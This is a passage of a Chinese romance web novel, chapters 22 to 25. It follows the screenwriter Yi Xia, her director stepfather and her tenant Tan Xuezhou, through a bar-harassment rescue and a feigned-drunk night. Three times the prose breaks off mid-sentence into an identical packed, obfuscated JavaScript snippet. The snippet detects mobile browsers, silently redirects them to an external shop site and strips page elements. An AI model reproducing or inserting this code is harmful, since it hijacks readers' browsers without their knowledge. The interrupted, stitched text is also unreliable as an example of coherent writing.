谈雪昼的脸孔在她的瞳孔里放大,再放大,她呼吸突然变得很急促,勾住谈雪昼的脖颈—— “姐姐!” 一楼卧室的门大开,琪琪光着脚站在门口,揉着眼睛看着沙发上的两人:“哥哥,你们在做什么呀!” 宜夏骤然从粘稠暧昧的气氛中清醒过来,悄悄松手挡住脸,身体蜷缩成一小团,死死闭上双眼。 谈雪昼站直,慢条斯理整理衣领,看着琪琪:“小屁孩。回去睡觉去。” 琪琪吧嗒吧嗒跑过来拽他的衣角:“哥哥,我饿了,我要喝牛奶。要热的,你去帮我热好不好?” 谈雪昼:“怎么不叫你姐。” “她睡着了呀。”琪琪看向沙发上的人。 谈雪昼顺着她的目光看过去,刚刚还呼吸滚烫贴在他脖颈上的人已经闭上了双眼,呼吸均匀。 什么人啊。 有这么办事的吗? 半夜谈心,完了事办到一半,勾起了情绪,她自己居然睡着了。 谈雪昼心浮气躁,捏了捏鼻梁。 22. 春日 - 第二天宜夏起得还算早。 喝醉了有点难受,不过喝得不多,一晚上已经缓过劲来了。 醉酒的片段在脑子里滚了滚,宜夏呆呆地坐在沙发上回想。 她昨天……是疯了吗,跟谈雪昼谈心,还差点、差点亲了他? 幸好没亲,不然真是无地自容了。 脑袋有些炸疼,她洗漱完,去厨房弄简单早餐的时候,谈雪昼从楼上下来了。 见到她,他动作很明显的一顿,随后就站定在原地。平常也不关心早饭做什么,但今天他就看得挺有兴致,撑着桌面慢条斯理问:“做的什么?” 宜夏根本不好意思回头看他,怕尴尬,非常小声说:“鸡蛋吐司,还有芝士玉米烙。” 谈雪昼挤进厨房,存在感一下变得格外明显。宜夏很别扭又抗拒,扭头:“你别进来,待会儿油溅到了。” 谈雪昼靠过来朝锅里看了眼。 气息靠近,宜夏一瞬间被他身上那种雨打树叶的冷香笼住。 他只是探过来从锅旁边的置物架上拿喷□□油,很快就撤开。 宜夏不明白自己这一瞬间的心猿意马到底什么情况,只觉得心跳得格外的快,就为了他突如其来的靠近。 她掩饰性地低头,认真煎鸡蛋,突然感觉一绺发丝从脸侧垂下来挡住了视线。还没来得及自己撩起来,一只手替她把发丝挽到了耳后。 冰凉的指尖碰到了她的外耳廓。 几乎只碰到了半秒钟。 但她的耳朵简直跟被摁了开关一样,立刻烫得不像话。 她没敢转头。 他也很快撤开离开了厨房。 就好像顺手做了件好人好事。 ……不是。 谁家做好人好事这么暧昧。刚刚是有点暧昧了吧,起码距离是有点近了。宜夏想七想八,背后突然传来谈雪昼的声音:“你好像煎糊了。” 宜夏手一顿,硬着头皮说:“不是,这是美拉德反应。” 两个大人带一个小孩吃了顿早饭,宜夏简单收拾了一下,一大早要带小朋友去码头坐船。 她要把琪琪亲自送回家,交到宜月心手里。 谈雪昼拎着猫包跟她们一块出门,去江流给猫补疫苗。 上次去检查的时候说猫前主人没有打疫苗,但猫精神差不适合打,养了一周多精神养好了,这次去补。 坐着船晃荡了一个多小时,宜夏牵着琪琪,与谈雪昼在江流的码头分别。 两个人很默契,没谁主动提昨晚的事。 宜夏径直打了个车去江流的富人别墅区天悦湾。 车上,琪琪钻进宜夏怀里,声音软黏黏的:“姐姐。” “嗯?” “你和哥哥不是男女朋友吗?” “……不是。” “你喜欢哥哥吗?” 宜夏严肃说:“不要问这种问题,你又不懂。” 琪琪:“我懂的,我们班的Eric就喜欢我。而且我偷偷告诉你哦,我感觉哥哥喜欢你呢。” 宜夏被她逗笑了:“你怎么感觉的?说出来听一听你的道理。” 琪琪说:“昨天我迷路了很害怕,哥哥他找到我的时候,他特别着急,然后他给你打电话,没有打通,他抱着我回头找你,他就跟我说,不能让你担心,说你都要哭了,哭起来不好哄。” 宜夏:“……你还记得这么多?” “我记性很好的。爸爸说让我去演电影,有很多台词的那种哦。以后我会是大明星。” 宜夏:“好的大明星,那我们能安静一会儿吗?” “我昨天晚上,你睡着了,我偷偷问哥哥他喜不喜欢你。” 宜夏呆了一秒:“你问什么?” “我问他了呀。” 宜夏低眼看着妹妹娇嫩的小脸,心跳有点快:“那他说什么?” “他说……让我猜。” 宜夏:“……” 琪琪振振有词:“他没说不喜欢,那就是喜欢。” 宜夏:“……谢谢你,我知道了。你歇会儿吧。” 琪琪歇不住,又说:“我觉得哥哥长得很好看,和你很配。” “……谢谢?” “如果是我哥哥就好了。” 宜夏:“如果是你哥哥,那就不能做我男朋友了,知不知道?” “为什么?” “因为……很复杂。”宜夏不知道怎么跟美国长大的妹妹解释伦理问题,只好敷衍,“因为如果是你哥哥那就也是我哥哥,一家人不能谈恋爱结婚。” “那为什么我爸爸和妈妈结婚了?他们不是一家人吗?” 出租车司机听她们的聊天听得想笑,回头夸奖小姑娘逻辑真棒。 车在天悦湾外停下。 天悦湾是独栋的别墅区,从小区大门进去之后,要坐物业的接驳车送到家门口。 家里的阿姨等在门口,见她们到了,温柔和气地牵住琪琪,把宜夏迎进门。 宜夏不是很习惯跟妈妈的新家庭接触。 或者说有些抗拒。 宜月心在客厅里,走过来牵着她的手拉她在沙发上坐下,让阿姨倒果茶来。 宜夏有些生硬地说:“琪琪已经到了,我还有别的事,我就不多坐了。” “小夏。” 宜夏抬眼看她。 “妈妈昨天晚上……是太着急了,说话没注意,你别放在心上。” 宜夏点头:“我理解。” 她站起来:“那我先走了?琪琪,”她摸了摸趴在沙发上的小姑娘脑袋,“姐姐回去了。” “姐姐不跟我们一起住吗?不跟我们一起回LA吗?”琪琪眨巴着大眼睛,“妈妈,你不是说姐姐要跟我们一起生活吗?” “……” 宜夏耐心跟她说:“姐姐有自己的生活,不能跟你们一起住。” “为什么呀?” 要一个受尽宠爱的小姑娘理解寄人篱下这个词,实在是太困难了。宜夏说:“因为姐姐已经长大了,长大了就是要一个人生活。” “那我不要长大。” 宜夏小时候和琪琪完全不一样。 她无时无刻不盼望着长大。 长大了,就能脱离邻居的风言风语,脱离学校里的孤立和霸凌,就能赚到钱,让外婆从四人间的病房挪到单人间,就能勇敢地照顾好自己的生活。 宜月心知道宜夏不自在,也不喜欢她这里,但还是勉强说:“已经快中午了,吃完了午饭再走吧。小夏,琪琪也想跟你多待一会儿。” 宜夏有些摇摆。 一方面,琪琪的期待眼神让她动摇。 另一方面,她又有点害怕,遇见这家的男主人。 她名义上的继父,全光毅。 之所以说是名义上的,是因为宜夏的户口不跟妈妈,而跟着外婆。外婆去世之后,她的户口本上就只有她一个人了,跟宜月心、全光毅都没有关系。 她也跟全光毅基本没有过接触,哪怕逢年过节,基本没有问候。 但她还算了解全光毅。 ——纯粹是工作原因。 全光毅是业内著名的大导演,拍过许多优秀艺术片,在国内国际都拿过不少大奖,算是学院派的大师。 成就上没得黑,只是私生活倒令人津津乐道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592731|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他总共有过三任妻子。 第一任出身豪门,和全光毅是经典的凤凰男与大小姐的爱情故事,最终以凤凰男出轨、大小姐怒而离婚为结局。 他出的那道轨,就是宜月心。 那是二十多年前。 全光毅彼时是江流大学电影系的教授,宜月心是他的研究生。那时两人就纠缠到了一起,真是一桩令人津津乐道的风月绯闻,师生、出轨、豪门、娱乐圈,元素一应俱全。 纠缠着,可是一直到宜夏上高中,宜月心才成功上位,成为全导的太太。 中间十多年的空窗期,全光毅娶了第二任妻子,是很有名的国民演员、女主持人关圆。 ——十多年。 宜月心,一直是以第三者的身份,陪伴在全光毅的身边的。 宜夏不知道自己的母亲究竟是怎么想的。 但她,确实,从头到尾、自始至终,都没能理解过宜月心。 当然也不理解全光毅。 不能理解上一辈的恩怨纠葛,也不知道怎么面对母亲那样作践、卑微、苦求来的丈夫。 宜月心看出来她不太愿意,试探着说:“你全叔叔有应酬,不回来,就咱们母女,吃个饭。行吗?” 宜夏这才点头。 饭桌上,宜月心提到了宜夏现在的工作,没忍住,又提了一嘴让她从清塘岛上搬出来,又小心问她工作是不是不顺利,如果需要帮助,一定要跟她、跟全叔叔讲。 有时候人会有莫名其妙的尊严和骨气。 宜夏从没想过,要让在业内鼎鼎大名的全光毅导演帮自己牵线搭桥。从始至终都没想过这条路。 她很敷衍地“嗯”了两声,埋头吃饭。幸好饭桌上有琪琪活跃气氛,否则简直是冰川时期。 一顿食不知味的饭吃完,宜月心也不知道能多说什么了,只好送宜夏出门。 两个人走到玄关口,有人开了门进来。 是全光毅。 宜夏第一次在私下场合见到自己这位继父。 他穿着西装,戴一副金丝眼镜,领带打得一丝不苟。六十多岁的人了,保养良好看起来仍然年轻得跟四十岁差不多,一点也没有同龄人的啤酒肚和油腻模样。长相依稀能看出年轻时的英俊挺拔,尤其是鼻梁山根格外高,眉骨也陡峭,甚至有点眉压眼,更显得五官深邃。 小姑娘们哭着喊着的SugarDaddy,叔圈极品,五六十多岁还能靠长相吸粉的大导演,圈里就这一个。 光看这一副温文尔雅风度翩翩的长相,看不出来年轻时是个凤凰男,借助前妻的显赫家世获得事业之后就毫不犹豫地出轨。 全光毅随手把西装外套交给阿姨,看着宜月心问:“这是?” 宜月心说:“这是宜夏。小夏,叫叔叔。” 宜夏抿紧唇,轻声打了招呼:“全老师。” 不是叔叔。 全光毅问:“这是要走了?” 宜月心连忙跟他解释,又问他怎么突然回家了,不是出去应酬了吗。 他说:“降本增效……降本增效,于氏传媒那边让我用流量明星,也不动动脑子。”说着,他转头看向宜夏,若有所思:“宜夏……小夏。《江流冬日》是你写的?” 宜夏轻轻点了点头。 “我看了,那是个不错的好剧本,我记得那届金芙蓉奖评委是谁来着?我给《江流冬日》还投了票。” 宜夏张了张口:“谢谢。” 全光毅说:“叔叔还是第一次见你。听你妈妈说了很多次,这次见了,见面礼也没准备。……听你妈妈说你最近在投剧本,如果不嫌弃的话,给叔叔看一眼?” 23. 春日 长辈已经把话说到这个份上了,宜夏没办法再说什么,只好稀里糊涂地跟着全光毅去到了二楼。 剧本没随身带,全光毅让她把电子版打印出来。 《清塘山岛日记》写成的剧本总共五万字,打印下来一百多页,并不算多。她守着打印机等打印,全光毅就在自然地跟她搭话:“工作上顺利吗?” 宜夏垂着头:“挺好的,谢谢全老师关心。” “还是习惯叫老师是吧?我也习惯被人叫老师。”全光毅说话还挺风趣,凝视着她,片刻后说,“你和你妈妈,长得很像。” 宜夏咬了下唇。 莫名的羞耻感上涌,她脸颊开始涨红。 全光毅说:“不要拘谨,你是琪琪的姐姐,把我当……长辈,就好。叔叔能帮你的地方,肯定帮你。” 宜夏没吭声,静待打印好剧本。 全光毅脱了外套,开始看她的剧本,速度很快一目十行,翻到最后一页,揉了揉眉骨,语气有点郑重:“你是个挺有想法的孩子。这个剧本也很成熟很有章法了,挺好的。你妈妈说找不到想投拍的公司?怎么回事?不应该啊。” 宜夏说:“可能只是机会还没到。” “叔叔帮你问问有没有想拍这方面项目的公司。” 宜夏低声道谢,目光凝在他书桌上。 桌上斜斜放着一张照片,里面是他年轻的时候,穿着白衬衫,半蹲着,怀里搂着一个八九岁的男孩子。 那个男孩子穿着米白的V领毛衣,撑着一只网球拍,冷冰冰直视着镜头。头发蜷曲,发梢带浅浅的轻金色,眼窝深邃,鼻梁挺直,山根格外高,有明显的混血感,像个漂亮的洋娃娃。只是面无表情,身体语言很抗拒,跟旁边的全光毅看起来很疏远。 这……应该是全光毅和第一任妻子的孩子? 长得很好看……而且,竟然有点眼熟,似曾相识。 宜夏知道她妈妈为什么能上位,是因为琪琪。 全光毅的第一任妻子出身豪门。豪门对隐私很在乎,全光毅那一段婚姻鲜为人知,宜夏却从外婆的只言片语中知道,全光毅与第一任妻子有一个儿子。那男孩子才三岁,全光毅就因为她妈妈的原因离婚了。 外婆抱着她,每每忧虑地感慨:“造孽啊,真是造孽……” 全光毅没有资格,也不敢跟豪门出身的前妻争夺儿子的抚养权。 后来第二任婚姻,没有孩子。 和宜月心终于有了一个孩子,是琪琪,宜月心这才能够上位。 全光毅注意到了宜夏的眼神,目光也落在了相框里的照片上,表情一变,抬手很自然地把相框倒扣下来。 宜夏却从他的动作中读出了一点欲盖弥彰。 他,对被前妻带走的儿子,唯一的儿子,到底是什么心态呢? 全光毅看着宜夏,想了下,又说:“我有个学生,有机会介绍你们认识,他应该会对你这个本子有兴趣。” 宜夏点了点头。 又聊了一些很浮在表面的话题,宜夏告辞。 - 谈雪昼在宠物医院里给瑁妹补疫苗。 瑁妹名字叫妹妹,实际上是只小公猫。 谈雪昼心狠手辣,直接噶了小公猫的蛋蛋。 瑁妹脸歪嘴斜,呆呆地看着他流口水。 他带着猫刚从宠物医院里出来,就接到了谈默生的电话,急召他见面。 家里的车直接停在了眼前。 谈雪昼没什么话说,只好拎着猫上了车。 半小时后,车在海晏大厦楼下。老爷子最得力的秘书在楼下迎接他,直上顶楼。 沿路遇见不少顶楼办公室的工作人员,全都很恭敬地跟他打招呼:“小谈总。” 谈雪昼一路带风进了谈默生的办公室。 谈默生第一句话是:“叫你跟思程见个面,你三推四拒的,见个面你能怎么样?” 谈雪昼语气很认真:“爷爷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603763|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈默生:“怎么?” 谈雪昼说:“我只是不想耽误人家好女孩儿。我已经有孩子了。” 谈默生震惊地坐直:“什么?!在哪!” 谈雪昼徐徐举起猫包:“我小儿子。” 谈默生抬手就把桌上钢笔丢到他身上:“滚蛋!” “行。” “滚回来!”谈默生每次跟他聊两句都差不多要被气坏,自己抚着胸口平复情绪,片刻说,“思程过几天从韩国回来,你们见一面,简单吃个饭。实在不喜欢,到时候再说。” 谈雪昼问:“您何必费这个功夫呢?我现在就可以告诉您,不喜欢。” “没见过怎么能说不喜欢?!” 谈默生拍桌子,“你是不是要气死我?气死我了你就自由了?” 谈雪昼有点怕老爷子真被气出好歹来,闭了下眼睛,敷衍:“行……行,您安排,我见行了吧?” “行了吧行了吧,这么不情不愿的,有人逼你吗?” “不就是您吗?” 谈默生:“……” 谈雪昼很潇洒地拎着猫离开顶层办公室,留谈默生一个人默默生了很久的闷气。 他抚着胸口,看向巨大的落地窗外蚂蚁般的微缩街景,徐徐出了口气,转头,把搁在显示屏旁边的相框拿了过来,很珍惜地擦了擦。 相框里是十五六岁时的少年谈雪昼。 头上束着一条黑色发带,头发稍长,搭在眉间。撑着网球拍站在球场上,秋日的阳光像金子一般洒在金绿色的草坪上,衬得年轻男孩眉目格外英挺,带着居高临下的桀骜不驯。 眉毛很浓,眼睛很亮,总是令谈默生想起自己的年轻时候。 面对这个唯一的,从小在身边长大的孩子,谈默生总是没办法立起威严来。 也是在他面前,谈默生才能是一个普通的,面对子女无计可施的老人,而不是几千亿资产、数十万员工的实业集团掌门人。 24. 春日 宜夏已经错过了最晚一班回清塘的船。 她临时找了家酒店住。 在安静的酒店里待了不到二十分钟,宜夏从包里拿出口红粉饼仔细补妆,随后拎着包出门,直奔江流市中心最火最有名的一家酒吧。 一进门,她就被震耳欲聋的音乐声浪震得头晕。 光怪陆离的射灯巡场,宜夏环视一周,在吧台坐下,点了一杯酒精度数不高不低的马提尼。调酒师把酒推给她,暧昧地问:“美女,怎么一个人暗自神伤啊?” 宜夏没搭腔,只是在出神思索。 谈雪昼今天出门,原来是被安排跟于思程见面。按照他刚刚离开咖啡馆的时间算,他应该也不可能赶上船,所以此时此刻,必然也在江流。 宜夏凝视着波光粼粼的酒液,片刻后一饮而尽,一鼓作气拨了个电话出去。 那边隔了一会儿才接起来,懒散干净的声音通过电波传过来,一下一下搔着她的耳廓:“怎么了宜夏?对了,我今晚不回来,我现在还在江流。” 宜夏声音带点鼻音,很低,有点闷:“我也在江流,谈雪昼,你能来接我吗?我好像有点,头晕。” 谈雪昼愣了下:“你怎么了?你在哪?” 酒劲上头没那么快。 宜夏人还是清醒的,只是模仿着醉酒的状态,慢吞吞说:“我在,Stagecoach酒吧。” “你喝酒了?你什么酒量敢去酒吧?” 宜夏听见了他那端衣角摩擦窸窣的动静。宜夏埋着头,勾了下唇角,声音很软:“你来接我一下吧……我只认识你……” 谈雪昼:“等着。” 宜夏喝完一杯马提尼,安安静静坐在吧台边缘发呆。 等了一阵,一个穿西装的男人挨着她坐下,有点暧昧地碰了碰她胳膊,含混问:“美女,怎么一个人喝酒啊?” 宜夏轻瞟他一眼:“我等我男朋友。” “你男朋友?男朋友放你一个人出来喝酒?”男人声音低沉,凑过来,“哥哥请你喝杯酒吧?” 他招手叫调酒师给宜夏调一杯鸡尾酒。 宜夏撑着下巴,懒懒散散看着他,厌倦挡开他挨过来的手臂:“不用了,谢谢。” “哥哥也没有恶意啊,就是想交个朋友呗,请你喝杯酒。”说着,男人挨得更近,手掌覆上了宜夏的手背。 宜夏这会儿酒有点上脸了,但脑子还是清醒的,一阵恶寒躲开男人的靠近:“别碰我。” 男人却不依不饶,反而一把攥住了她的手臂。 宜夏奋力挣扎起来,想甩开,甚至从吧台椅上下来了。男人见她反抗,噙着笑跟旁边人说:“我女朋友闹脾气。” 一只手试图去揽宜夏的腰,另一只手则控制住她的手臂,制住她的反抗。 宜夏挣扎得更厉害,高跟鞋鞋跟一脚踩在了他的皮鞋上。那男人吃痛,松开了在宜夏身上揩油的手,脸色变得很难看:“臭婊||子给脸不要脸是吧?”一只手就钳住了宜夏两个手腕,把她往外拖。 酒吧光线昏暗,射灯巡场,宜夏被他往黑暗处拖,奋力挣扎着用手肘捅他的肚子:“放开我!” 那男人喷着酒气的脑袋凑在她脸颊旁边,刚要说什么,下一秒,脸突然往旁边一歪。 被人一拳揍到了旁边。 来人一把扯过宜夏的手臂,把她扯进了自己怀里。宜夏仓促慌乱中抬头,撞进谈雪昼漆黑明亮的眼睛里。他扯了下唇角,凉凉看着她:“挺厉害,不能喝还来酒吧?” 那男人被人揍了一拳,揉着嘴角站直,嚷嚷起来:“你干什么的?你凭什么打人?” 谈雪昼松开宜夏,上前一步扯住那男人的衣领,把他往墙壁上掼。也不废话,又是两拳。宜夏赶紧抱住他的手:“行了,别打了……” 那男人被打得有点晕又有点懵:“保安!保安呢!有人随便打人啊!” 谈雪昼冷笑,一脚踹在那男人的肚子上。 那男人被踹倒在地上,捂着肚子哀嚎起来。谈雪昼回头,看向宜夏,侧脸锋利:“过来。” 宜夏不仅没过去,反而后退了一步:“别打我。” 谈雪昼:“……” 没好气地走过去牵住她的手:“走了。” 出了酒吧,宜夏人被塞进谈雪昼的车里时,她还有点懵懵的。 乖乖系好安全带,她才小心问:“刚刚那个男的不会报警抓你吧?” 谈雪昼:“那就报。” 宜夏:“……” 过了两秒,她垂着脑袋,慢吞吞说:“对不起哦,给你添麻烦了。” 谈雪昼给车点了火,转头问她:“去哪儿?” 宜夏撑着脸,安安静静看着他,不出声。 谈雪昼黑着脸,耐心即将告罄:“宜夏,你今晚住哪儿?” “住哪儿……我住在,清塘岛上。晴天民宿,一天一百块,收费不高,物美价廉。欢迎光临,祝您旅途愉快。” “什么跟什么。”谈雪昼伸手掰她的下巴,直视着她,“宜夏,再问你一遍,你住哪儿?不会赖我身上了吧?” 宜夏眨了下眼睛,不仅没反抗他有点粗暴的动作,反而依赖地在他手背上蹭了蹭,轻声说:“可以吗?” “可以什么?” “我想赖着你。” “……”谈雪昼定定看她几秒。 算了,懒得跟喝醉的人计较。 他启动了车,一路直接往嘉华汇开去。 宜夏乖乖垂着头坐在副驾驶,头一点一点。谈雪昼抽空看她一眼,她竟然睡着了。 心也是大,不怕被他抓去卖掉。 三十分钟后,车驶入地下车库停稳。 谈雪昼熄了火,酝酿片刻,侧过头叫她:“醒醒。醒了,到了。” 宜夏睫毛颤了颤,似乎拼命努力了一番,仍然没能睁开。 谈雪昼不耐烦,解开了自己的安全带,用手背拍了拍她的脸颊:“醒了。到了,下车。” 宜夏把脑袋往另一侧缩。 谈雪昼干脆替她解开了安全带:“上去再睡。这点酒量也去酒吧喝酒,一点警惕心都没有。” 她还是没反应。 谈雪昼借着车窗外一点不太明亮的灯光,居高临下注视着她的脸孔。 凌乱的头发,微醺的脸颊,一抖一抖像蜻蜓翅膀一样的睫毛,还有微张着露出一点牙齿的唇瓣,沾着水光,润泽得如同带露水的花瓣。 他忽然克制不住,伸手非常快速地碰了碰她额头毛茸茸的一点额发,又快速收回手。 “再不醒我抱你——”话到一半,他吞回去,“我自己走了啊,把你关在这里。” 宜夏立刻睁开眼睛。 慢吞吞说:“抱。” 谈雪昼:“……” 宜夏眨了下眼,干净潋滟的眼睛里水光粼粼:“我头晕。走不动路。” 谈雪昼两根手指捏住她的下巴:“你是真的,还是装的?” 宜夏又眨了眨眼:“好晕。”声音软绵绵的,带鼻音,“抱。” 谈雪昼从驾驶座下去,拉开副驾驶的车门,一手伸到她背后,一手托住她膝盖,直接把人打横抱了起来。 很标准的公主抱。 宜夏猝不及防,紧紧抱住他脖子,很安心地在他肩头胸口蹭了蹭,弯着唇角,闭上眼睛。 谈雪昼往电梯走,垂眸看着她:“你是真醉,还是装醉,宜夏?” 宜夏不吭声,只是依赖地蹭着他的胸口,含糊说了句什么。 上楼进门,他把怀里的人放到沙发上,转身去厨房泡蜂蜜水解酒。 宜夏晕晕乎乎撑着太阳穴在沙发上坐好。 等到蜂蜜水递到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612902|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇边了,就着他的手喝了一口,咂吧下嘴唇,黑眼珠凝视着他,慢吞吞说:“谈雪昼……” 她抓着胸口,表情突然一变,“我想吐……” 谈雪昼连忙撤开。 看她一脸痛苦,他赶紧从抽屉里找出解酒药,抠出几粒递给她:“宜夏,我是不是上辈子欠你的?” 宜夏眨了眨眼,把他掌心的解酒药打开。 谈雪昼简直发挥了八辈子没有的耐心,又抠了一粒出来。在宜夏又要伸手打开的时候,他迅速把药直接塞进了她嘴里,然后把蜂蜜水喂到她嘴边。 宜夏被呛住,不停咳嗽,好一会儿才顺了气。 谈雪昼放下杯子,居高临下问:“还想吐吗?” “……想。” “那你去卫生间吐。” “那你抱我过去,我没劲。” “……” 喝醉了还要占便宜,很好。 谈雪昼两只手穿过宜夏腋下,直接把人扛了起来。宜夏这会儿肚子真是一涨一涨的难受,捂着嘴差点就吐了。 谈雪昼把人放在卫生间洗手池台盆上坐着:“什么时候吐好了什么时候出来。” 宜夏拉住他的手。 谈雪昼回过身看她。 宜夏说:“我好难受。” “这点酒量,谁要你去酒吧的?” “你啊。”她小声嘟囔,“谁叫你今晚不回家,我就只能出来借酒消愁。” 逻辑满分。 宜夏确实抓住了逻辑,抬起头,定定说:“所以你要对我负责。” 谈雪昼:“……怎么负责?” “你过来。” 谈雪昼警惕地凑过去,害怕她突然吐了吐他身上。 宜夏闭着眼睛,一只手绕过他脖子,把他朝面前勾,微微仰起脸,嘟着嘴试图亲他。 幸好谈雪昼躲得及时,没被她非礼到,但他确实是气笑了:“你这一喝醉就想占人便宜的毛病什么时候能改改?” 宜夏噘着嘴:“谈老师。” “喊我爸爸也没用。”谈雪昼着实对醉鬼没那方面兴趣,胡乱抓起一条毛巾在她脸上使劲擦了擦,“你就在这好好吐,吐完了再出去。” 宜夏坐在台盆上,很无辜:“你好无情啊。” “我要是无情就该把你丢在酒吧。” “你不会的。” “我凭什么不会?” “你喜欢我吗?” 谈雪昼怔住了。 宜夏眼睛亮亮的,醉意朦胧,依然潋滟有神,静静等着他的回答。 谈雪昼避开她的眼睛,冷笑说:“我不会喜欢醉鬼。” 宜夏有点受伤,垂下眼眸,小小哼了一声。 谈雪昼从卫生间出去,没过几分钟,就听见宜夏哗啦啦按抽水马桶的声响。 过了十分钟,谈雪昼再进卫生间收拾残局。宜夏根本没吐,却扒着抽水马桶睡着了。 谈雪昼叹了口气,打横抱起她,耐心把人抱到了客卧里,温柔地放在床上。 他在床沿坐下,拨开宜夏挡住脸颊的额发。 一室安静,空气里有独特的冷香浮沉。 许久,宜夏耳朵动了动,听见了他有点无奈的温柔声音:“酒蒙子,发酒疯还挺别致的。” 宜夏不舒服地哼了一声,突然扯起自己的衣领来。 谈雪昼连忙制止她,给她扯了被子盖上,迅速站起来离开了客卧。 非礼勿视。 而客卧里蒙在被子里的宜夏,过了很久从被子下钻出脑袋来,静静凝视着客卧的房门,轻轻叹了口气。 谈雪昼,这到底是什么态度呢? 太君子了,送上门,竟然都不心动吗? 也是。 觉得他会趁人之危,明显是把人看低了。 他不是那种人。 25. 春日 宜夏第二天在谈雪昼客卧大床上醒来。 缓了好一会儿,才慢慢吞吞坐起来,拉开客卧的门。 “谈雪昼?” 她踩着拖鞋,顺着走廊动线往外走,第一眼看见的却是在中岛台拿着锅铲煎鸡蛋的谈雪昼。谈雪昼见她出来,很自然说:“卧室洗手间,有你洗漱的东西。弄好来吃饭。” 宜夏瞅他一眼,默默说:“鸡蛋你好像煎糊了。” 谈雪昼低头一看,很自信:“没有,美拉德反应。” 宜夏:“……” 宜夏回到客卧。 客卧洗手间的洗漱台上放了一排未拆封的全新洗漱用品,甚至还有护肤品,成套的LaPrairie。宜夏照顾自己一点儿都不精致,护肤品每次随便涂点面霜就完事了。盯着桌上一排宝石蓝的瓶瓶罐罐,她陷入思索—— 谈雪昼,真没谈过吗? 没谈过,他家里为什么会有这些东西? 难道是临时为她买的? 宜夏洗漱完,敷衍了一下护肤,出了客卧走到餐厅里。 谈雪昼已经弄好了一顿早餐,非常简单,煎蛋加煎吐司,配牛奶。没有半点花样。 吃的时候,他交代:“我这几天有事,不回清塘。你什么时候想回去,我叫人送你去码头。” 宜夏撑着下巴:“有什么事?” 她顿了下,睁大眼,若无其事说,“相亲?” 谈雪昼:“你猜?” 宜夏脸色一垮:“猜什么猜,小孩子才猜来猜去,你不能直说吗?”想了下语气不好,她又缓了气口,“主要是,你要是相亲,甚至有女朋友之类的,你再租在我那里,我们两个孤男寡女的相处,就不太合适了。” 谈雪昼漫不经心咬着吐司:“咱们清清白白,问心无愧就行了。” 宜夏盯着他:“那我问心有愧呢?” 谈雪昼一怔。 宜夏第一次跟人说这么直白的话。 她心里也打鼓,强行保持镇定,喝了口牛奶,若无其事地看着谈雪昼:“我的意思是,谈老师,你不是一直觉得我垂涎你吗?” “……” 宜夏说:“你的感觉很对。我确实,特别的垂涎你。所以如果你,有女朋友了,你还不注意距离,我会忍不住插足你们的。” 谈雪昼:“什么乱七八糟的。” 片刻后,他靠在椅背上,吊儿郎当问:“你打算怎么插足?” 宜夏面无表情看着他:“比如,破坏你们的关系,勾引你,使劲撩你,做小三。” 谈雪昼:“我不会给你这个机会的。” “那就难说了。” 谈雪昼眉黑眼亮,神色倨傲:“我不会给你做小三的机会。”他站起来收拾盘子,“不是相亲的事,是电影的事。帮人监制个片子,总得去片场看看。” 宜夏眼睛一亮:“什么片子?你监制吗?你要去片场呀?我可以一起去吗?我也想去探班。好久都没去片场了,想去!” 谈雪昼居高临下看着她:“跟你有关系吗你就一起去。” 宜夏撑着下巴,慢吞吞说:“虽然跟我没关系,但我跟你……我们有关系吧?再怎么也算是,革命战友、房东房客的友好关系吧?” 谈雪昼:“……” 他收好盘子丢进池子里。 宜夏蹭到他旁边,非常温柔地说:“谈老师,这些粗活我来干吧。您这么尊贵,怎么能干洗碗这种活呢?” 谈雪昼瞥她一眼:“在清塘好像你指使我洗得少了?” 宜夏很自然:“那怎么能一样呢?” 谈雪昼说:“放着吧,待会儿有人来洗。”上下打量她一番,“跟我去片场的话,你什么名义?” 宜夏歪了下头,突然勾了勾他的衣角:“什么名义……你觉得呢?” 宜夏明显注意到谈雪昼的脸颊绷了绷,片刻后,别过脸,散漫说:“那你只能是我的助理。” 宜夏冲他敬礼:“YesSir!保证好好做助理!” 于是宜夏就跟着谈雪昼一起去片场了。 这不是谈雪昼自己的项目,但他挂名监制,而且还是最大的投资方,基本上也可以说是他的项目,反正赚了钱是大部分归他的。 谈雪昼自己主要拍商业片,不过他会投资不那么商业的创新之作。 这个项目就是不那么商业片的类型,导演徐凌是刚出道的新人,在影展上刚拿了两个奖项,被影评人盛赞有灵气。 刚出道的新人,这个限定词,会让人以为多么年轻。 但其实徐凌,年龄比谈雪昼还大。 在片场摄影棚门口迎接谈雪昼的时候,徐凌却一口一个“老大”、“谈总”。 徐凌把人迎进了棚里导演专用的小房间。 